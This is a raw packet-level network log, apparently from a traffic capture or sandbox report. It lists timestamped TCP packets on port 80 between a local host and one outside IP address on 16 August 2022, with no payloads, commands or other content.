Aug 16, 2022 11:49:55.676211119 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676254034 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676270008 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676279068 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676297903 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676307917 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676311016 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676320076 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676337957 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676340103 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676357031 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676359892 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676369905 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676374912 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676393032 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676395893 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676409960 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676414013 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676428080 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676430941 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676446915 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676448107 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676456928 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676472902 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676479101 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676498890 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676503897 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676522970 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676529884 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676548004 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676553011 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676573992 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676580906 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676597118 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676605940 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676630974 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676786900 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676810980 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.676819086 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676846981 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.676867008 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.691489935 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.691596031 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.694317102 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892199993 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892379999 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892653942 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892674923 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892693996 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892708063 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892709970 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892716885 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892728090 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892729998 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892745972 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892746925 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892761946 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892764091 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892777920 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892781973 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892796040 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892812967 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892831087 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892832041 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892847061 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892848969 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892863035 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892867088 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892879963 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892884970 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892895937 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892901897 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892919064 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892935038 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892935991 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892941952 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892949104 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892951965 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892963886 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892971039 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892977953 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.892988920 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.892999887 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893004894 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893018007 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893023968 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893033981 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893042088 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893060923 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893060923 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893079996 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893096924 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893114090 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893131018 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893132925 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893138885 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893141031 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893146038 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893148899 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893151045 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893160105 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893168926 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893177986 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893186092 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893193960 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893209934 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893254042 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893284082 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893290043 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893316031 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893340111 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893356085 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893373013 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893388987 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893409967 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893448114 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.893448114 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.893481016 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.898020029 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.928669930 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.928739071 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.928751945 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.928772926 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.928792000 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.928834915 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.928963900 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.929014921 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.929050922 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.929178953 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.929194927 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.929203987 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.929224968 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.929328918 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.929341078 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.163657904 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163710117 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163748980 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163770914 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163789034 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163804054 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163819075 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.163825035 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.163866043 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.163870096 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.163902044 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.164020061 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164041042 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164053917 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164067030 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164133072 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.164268970 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164314032 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164315939 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.164335012 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164347887 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.164361000 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164376974 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164391994 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.164407015 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.164463043 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.171420097 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.171452045 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.171469927 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.171542883 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.248925924 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.261956930 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400716066 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400763035 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400787115 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400810957 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400835991 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400860071 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400856972 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400890112 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400892973 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400896072 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400906086 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400935888 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400944948 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400963068 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.400968075 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.400988102 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401000023 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401019096 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401073933 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401109934 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401133060 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401159048 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401182890 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401185036 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401192904 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401221037 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401271105 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401295900 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401304960 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401333094 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401388884 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401413918 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401427984 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401451111 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401456118 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401479959 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401488066 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401515961 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401537895 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401573896 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401580095 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401618958 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401638985 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401671886 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.401709080 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.401742935 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.408853054 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.408886909 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.408919096 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.408957958 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.422604084 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.468581915 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.468609095 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.468652964 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.468657970 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.468697071 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.468704939 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.470741987 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.496879101 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.496932983 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.496963024 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.496985912 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.496995926 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497036934 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497040033 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497083902 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497085094 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497128963 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497132063 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497174978 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497201920 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497245073 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497255087 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497282982 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497287989 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497328997 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497330904 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497375965 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497376919 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497421026 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497427940 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497472048 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497473001 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497517109 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.497519970 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.497564077 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.632698059 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.632730007 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.632745028 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.632824898 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.635449886 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.684601068 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.684658051 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.684674978 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.684689045 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.684705973 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.684720993 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:56.684803009 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.684972048 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.862890959 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:56.863286018 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.076625109 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076673031 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076698065 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076720953 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076746941 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076771021 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076796055 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076821089 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076832056 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.076847076 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076865911 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.076869011 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.076872110 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.076874018 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.076878071 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.076905966 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.091749907 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.093281031 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.096807003 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.096849918 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.096874952 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.096890926 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.096899033 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.096916914 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.096921921 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.096930981 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.096935034 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.096956015 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.096966028 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.096988916 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.101597071 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.101643085 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.101735115 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.111057043 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.313608885 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.313647032 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.313802958 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.344780922 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.344825983 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.344850063 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.344873905 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.344899893 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.344921112 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.344954967 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.347485065 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.611902952 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.612746954 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828356028 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828421116 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828454018 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828479052 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828489065 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828504086 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828553915 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828578949 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828588009 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828603983 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828620911 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828629017 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828639984 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828654051 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828658104 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828679085 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828690052 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828701973 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828705072 CEST	49199	80	192.168.2.22	187.45.240.69
